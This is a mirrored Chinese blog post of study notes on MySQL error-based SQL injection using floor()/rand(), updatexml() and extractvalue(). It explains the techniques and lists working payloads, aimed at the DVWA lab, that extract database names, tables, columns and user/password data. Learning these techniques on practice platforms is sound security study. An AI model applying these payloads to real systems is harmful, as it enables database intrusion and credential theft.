zoukankan      html  css  js  c++  java
  • SQL注入学习笔记——报错注入

    概述:

    网上流传有十种报错注入的方法,但是在最新的Mysql数据库的实际测试过程中能生效的也就只有三种。分别是floor()报错注入updatexml报错注入extractvalue()函数报错注入

     floor()报错注入

    原理:

    利用 select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

    通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1group by key执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算rand 值)。

    如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的。

    特别注意:利用 group_concat()函数串联结果,会出现错误,只能通过 concat 串联。

    函数floor(rand(0)*2):

    floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。

    floor(rand(0)*2),其中 rand(0)*2 是伪随机函数,floor 将结果取整,得到伪随机序列 0,1,1。因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 的顺序。

    上面这个函数后面跟的x就是字段后面的字符意义,这里在查询字段后面,加上空格后,加上一个字符,查询结果的字段就被字符代替了。

     group by函数:

    主要用来对数据进行分组(相同的分为一组)。

    count(*) 函数:

    统计结果的记录数。

    常用报错语句:

    我比较喜欢联合语句,所以我就直接放联合语句了,还有很多种构造语句的方式可以自行百度。

    这里是用的DVWA平台,由于联合语句的特点必须是与查询结果的列数相对于对应,在自己实际过程中要格外注意。比如在sqli-labs平台上 列数为3,所以要会灵活变通。

    1.爆数据库

    id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x#

    2.爆特定数据库的表
    id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

    3.爆字段
    id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

    4.爆字段里的内容
    id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

    updatexml报错注入

    直接上语句了。

    1. 爆数据库信息

    1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

    2. 爆当前数据库表中信息
    1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

    3. 爆表中字段信息
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

    4. 爆数据库内容
    1' and updatexml(1,concat(0x7e,(select group_concat(user,password) from dvwa.users),0x7e),1) #

    extractvalue()函数报错注入

    1. 爆数据库信息

    1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

    2. 爆当前数据库表信息
    1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

    3. 爆users表字段信息
    1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #

    4. 爆数据库内容
    1' and extractvalue(1,concat(0x7e,(select group_concat(first_name,0x3a,last_name) from dvwa.users),0x7e)) #

  • 相关阅读:
    python的json模块介绍
    采用boosting思想开发一个解决二分类样本不平衡的多估计器模型
    kappa系数
    android服务
    Android Studio 无法预览布局问题:com/android/util/PropertiesMap
    pitch yaw roll是什么
    keil5破解
    Eclipse/jre/jdk/jvm
    传感器
    Java静态代码块
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12835850.html
Copyright © 2011-2022 走看看